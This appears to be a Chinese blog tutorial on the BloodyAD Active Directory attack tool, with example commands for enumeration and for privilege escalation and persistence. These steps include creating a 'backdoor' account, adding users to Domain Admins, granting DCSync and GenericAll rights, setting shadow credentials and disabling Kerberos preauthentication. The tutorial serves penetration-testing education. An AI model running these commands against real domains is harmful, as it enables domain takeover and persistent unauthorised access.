当前位置: 首页 > backend >正文

BloodyAD 命令使用详解

BloodyAD 是一款用于 Active Directory 枚举与利用的开源工具,通过命令行界面与 AD 的 LDAP 和 Kerberos 协议交互,支持多种认证方式(明文密码、NTLM 哈希、Kerberos 票据)。本文将介绍 BloodyAD 的核心命令用法,涵盖枚举、权限修改、权限提升和持久化操作,帮助你高效掌握该工具。


一、命令基础结构

BloodyAD 命令格式如下:

bloodyAD [认证参数] [操作] [子命令] [目标参数]

1.1 认证参数

认证参数指定访问 AD 的凭据和域控信息:

  • -u <username>:域用户名(如 user1)。
  • -p <password>:用户密码(如 password1)。
  • -k:启用 Kerberos 认证(需配置 /etc/krb5.conf)。
  • --hash <hash>:NTLM 哈希(如 aad3b435b51404eeaad3b435b51404ee:5e884898da28047151d0e56f8dc62927)。
  • -d <domain>:目标域名(如 domain.local)。
  • -dc-ip <ip>:域控 IP(如 192.168.1.10)。
  • -c <path>:证书认证(指定证书路径)。
  • -s:启用 LDAPS(端口 636,需域控支持)。

示例

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get users

1.2 通用选项

  • --help:显示帮助信息。
  • -v:详细输出,便于调试。
  • --json:以 JSON 格式输出结果。

二、核心功能命令详解

以下主要介绍 getaddset 命令的子命令及用法。

2.1 枚举命令(get)

枚举用于收集 AD 信息,如用户、组、计算机等。

2.1.1 获取域用户(get users)

功能:列出域内用户及其属性(如 sAMAccountName、SID、描述)。

命令

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get users

可选参数

  • --filter <filter>:筛选条件(如 name=admin*)。
  • --attributes <attr1,attr2>:指定属性(如 sAMAccountName,description)。

示例

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get users --filter "name=admin*" --attributes sAMAccountName,description

输出:返回匹配 admin* 的用户,显示账户名和描述。

2.1.2 获取域组(get groups)

功能:列出域内组及其属性(如 SID、名称、成员)。

命令

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get groups

可选参数

  • --filter <filter>:筛选组(如 name=Domain Admins)。
  • --members:显示组成员详情。

示例

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get groups --filter "name=Domain Admins" --members

输出:显示 Domain Admins 组及其成员。

2.1.3 获取计算机对象(get computers)

功能:列出域内计算机及其属性(如 hostname、OS 版本)。

命令

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get computers

可选参数

  • --filter <filter>:筛选计算机(如 operatingSystem=Windows Server*)。
  • --attributes <attr1,attr2>:指定属性(如 dNSHostName,operatingSystem)。

示例

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get computers --filter "operatingSystem=Windows Server*" --attributes dNSHostName

输出:返回运行 Windows Server 的计算机主机名。

2.1.4 获取组策略对象(get gpos)

功能:列出域内 GPO 及其属性(如名称、路径)。

命令

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get gpos

可选参数

  • --filter <filter>:筛选 GPO(如 name=*Security*)。

示例

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get gpos --filter "name=*Security*"

输出:返回名称包含 Security 的 GPO。

2.1.5 获取域信任关系(get trusts)

功能:列出域的信任关系(如外部域、森林信任)。

命令

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get trusts

示例

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get trusts

输出:显示 domain.local 的信任关系。

2.1.6 获取 Kerberos 票据(get tgt)

功能:请求 Kerberos TGT,用于票据传递攻击。

命令

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get tgt

可选参数

  • --user <username>:指定目标用户(默认认证用户)。
  • --output <file>:保存票据(如 ticket.kirbi)。

示例

bloodyAD -u user1 -p password1 -d domain.local -dc-ip 192.168.1.10 get tgt --output ticket.kirbi

输出:生成 ticket.kirbi 文件,包含 TGT。

2.2 权限修改与持久化命令(add)

add 命令用于添加对象或权限,参数精简,直接指定目标和值。

2.2.1 添加用户(add user)

功能:创建新域用户。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add user <username> <password>

参数

  • <username>:新用户名(如 backdoor)。
  • <password>:新用户密码(如 Backdoor123)。
  • --ou <ou_path>:指定组织单位(可选,如 OU=Users,DC=domain,DC=local)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add user backdoor Backdoor123

输出:创建用户 backdoor,密码为 Backdoor123

2.2.2 添加计算机(add computer)

功能:添加新计算机对象。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add computer <computername> <password>

参数

  • <computername>:计算机名称(如 COMP1)。
  • <password>:计算机账户密码。
  • --ou <ou_path>:指定组织单位(可选)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add computer COMP1 CompPass123

输出:创建计算机账户 COMP1$,密码为 CompPass123

2.2.3 添加组成员(add groupMember)

功能:将用户、组或计算机添加到组。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add groupMember <group_name> <member>

参数

  • <group_name>:目标组(如 Domain Admins)。
  • <member>:添加的成员(sAMAccountName,如 user1)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add groupMember "Domain Admins" user1

输出:将 user1 添加到 Domain Admins

2.2.4 添加 DNS 记录(add dnsRecord)

功能:添加 DNS 记录。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add dnsRecord <zone> <record_name> <record_type> <record_data>

参数

  • <zone>:DNS 区域(如 domain.local)。
  • <record_name>:记录名称(如 test)。
  • <record_type>:记录类型(如 ACNAME)。
  • <record_data>:记录数据(如 192.168.1.100)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add dnsRecord domain.local test A 192.168.1.100

输出:添加 A 记录 test 指向 192.168.1.100

2.2.5 添加 DCSync 权限(add dcsync)

功能:为对象添加 DCSync 权限,允许同步域对象(需 WriteDacl 权限)。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add dcsync <trustee>

参数

  • <trustee>:接收权限的对象(sAMAccountName 或 SID)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add dcsync user1

输出:为 user1 添加 DCSync 权限。

2.2.6 添加 GenericAll 权限(add genericAll)

功能:赋予对象对目标的完全控制权限(需拥有目标或 WriteDacl 权限)。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add genericAll <target> <trustee>

参数

  • <target>:目标对象(sAMAccountName 或 DN)。
  • <trustee>:接收权限的对象(sAMAccountName 或 SID)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add genericAll "Domain Admins" user1

输出:为 user1 赋予对 Domain Admins 的完全控制权限。

2.2.7 添加资源约束委派(add rbcd)

功能:为目标服务添加资源约束委派,允许服务代表用户访问目标(需 Write 权限,Windows Server 2012+)。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add rbcd <target> <service>

参数

  • <target>:目标对象(通常为计算机,sAMAccountName)。
  • <service>:委派服务账户(sAMAccountName)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add rbcd COMP1$ user1

输出:允许 user1 代表其他用户访问 COMP1$

2.2.8 添加影子凭据(add shadowCredentials)

功能:为目标添加密钥凭据,用于伪造身份认证。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add shadowCredentials <target>

参数

  • <target>:目标对象(sAMAccountName 或 DN)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add shadowCredentials user1

输出:为 user1 添加影子凭据。

2.2.9 添加用户账户控制标志(add uac)

功能:为对象添加 UAC 标志,修改行为。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add uac <target> <flag>

参数

  • <target>:目标对象(sAMAccountName)。
  • <flag>:UAC 标志(如 DONT_REQUIRE_PREAUTH)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add uac user1 DONT_REQUIRE_PREAUTH

输出:为 user1 添加 DONT_REQUIRE_PREAUTH 标志,禁用预认证。

2.3 权限修改命令(set)

set 命令用于修改对象属性或状态。

2.3.1 修改对象属性(set object)

功能:添加、替换或删除对象属性(如描述、SPN)。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set object <target> <attribute> <value> [--operation <operation>]

参数

  • <target>:目标对象(sAMAccountName 或 DN)。
  • <attribute>:属性(如 description)。
  • <value>:新值(对于添加/替换)。
  • --operation <operation>:操作类型(addreplacedelete,默认 replace)。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set object user1 description "Test account"

输出:将 user1 的描述设置为 Test account

示例(删除属性)

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set object user1 description "" --operation delete

输出:删除 user1 的描述字段。

2.3.2 修改对象所有者(set owner)

功能:更改对象所有者(需 WriteOwner 权限)。

命令

bloodyAD -u user -p password -d domain.local -dc-ip 192.168.1.10 set owner <target> <owner>

参数

  • <target>:目标对象(sAMAccountName 或 DN)。
  • <owner>:新所有者(sAMAccountName 或 SID)。

示例

bloodyAD -u user -p password -d domain.local -dc-ip 192.168.1.10 set owner "Domain Admins" user1

输出:将 Domain Admins 的所有者设置为 user1

2.3.3 修改密码(set password)

功能:重置用户或计算机密码。

命令

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set password <target> <new_password>

参数

  • <target>:目标用户或计算机(sAMAccountName)。
  • <new_password>:新密码。

示例

bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 set password user1 NewPass123

输出:将 user1 的密码重置为 NewPass123

三、进阶用法

3.1 组合命令

组合命令实现复杂操作。例如,枚举组后添加成员:

bloodyAD -u user -p password -d domain.local -dc-ip 192.168.1.10 get groups --filter "name=Domain Admins" --members
bloodyAD -u admin -p password -d domain.local -dc-ip 192.168.1.10 add groupMember "Domain Admins" user1

3.2 JSON 输出

为自动化处理,使用 --json

bloodyAD -u user -p password -d domain.local -dc-ip 192.168.1.10 get users --json > users.json

3.3 Kerberos 认证

配置 /etc/krb5.conf

[realms]DOMAIN.LOCAL = {kdc = 192.168.1.10admin_server = 192.168.1.10}

使用 Kerberos:

bloodyAD -u user1 -k -d domain.local -dc-ip 192.168.1.10 get users
http://www.xdnf.cn/news/14548.html

相关文章:

  • WinRAR隐藏技能:给压缩包添加注释
  • Mac Mini M4 安装 jdk8 以及 隐藏 设置内的Java菜单
  • Prompt:更好的提示与迭代
  • c++面试题(14)------顺时针打印矩阵
  • VSCode -配置为中文界面
  • Javaweb学习day4——(MVC架构模式)
  • 项目文章 ▏组蛋白乳酸化驱动的B7-H3表达促进肿瘤免疫逃避
  • HashMap相关学习
  • 嵌入式学习笔记C语言阶段--16函数指针
  • UI前端大数据可视化:从设计到实现的完整流程
  • SQL基础语法+运行原理+云端数据库搭建
  • Qwen2.5-VL 是什么?
  • 大模型笔记4:RAG检索增强生成
  • LangGraph--框架核心思想
  • 数字系统设计与verilog hdl第8版王金明
  • HPC软件架构---Vector solution方案简介
  • 订单状态定时处理-01.需求分析
  • 免费插件集-illustrator插件-Ai插件-移除非纯黑叠印
  • NodeJS怎么开启多核执行任务,加快执行速度
  • 基于51单片机的流量检测及时间显示系统
  • PaddleOCR项目实战(2):SpringBoot服务开发之接口设计
  • 基于CL_PSO与BP神经网络分类模型的特征选择方法研究(Python实现)
  • 基于CATIA轴系的最小边界曲面自动化生成技术深度解析
  • linux多线程之POSIX信号量
  • PHP Swoft2 框架精华系列:Config 配置解析,使用说明
  • 如何在 Elementary OS 上安装 Google Chrome 浏览器
  • 智慧流水线在ESOP数字工厂中的作用
  • 迈向通用具身智能:具身智能的综述与发展路线
  • 前端如何调用外部api获取省市区数据
  • leetcode138-随机链表的复制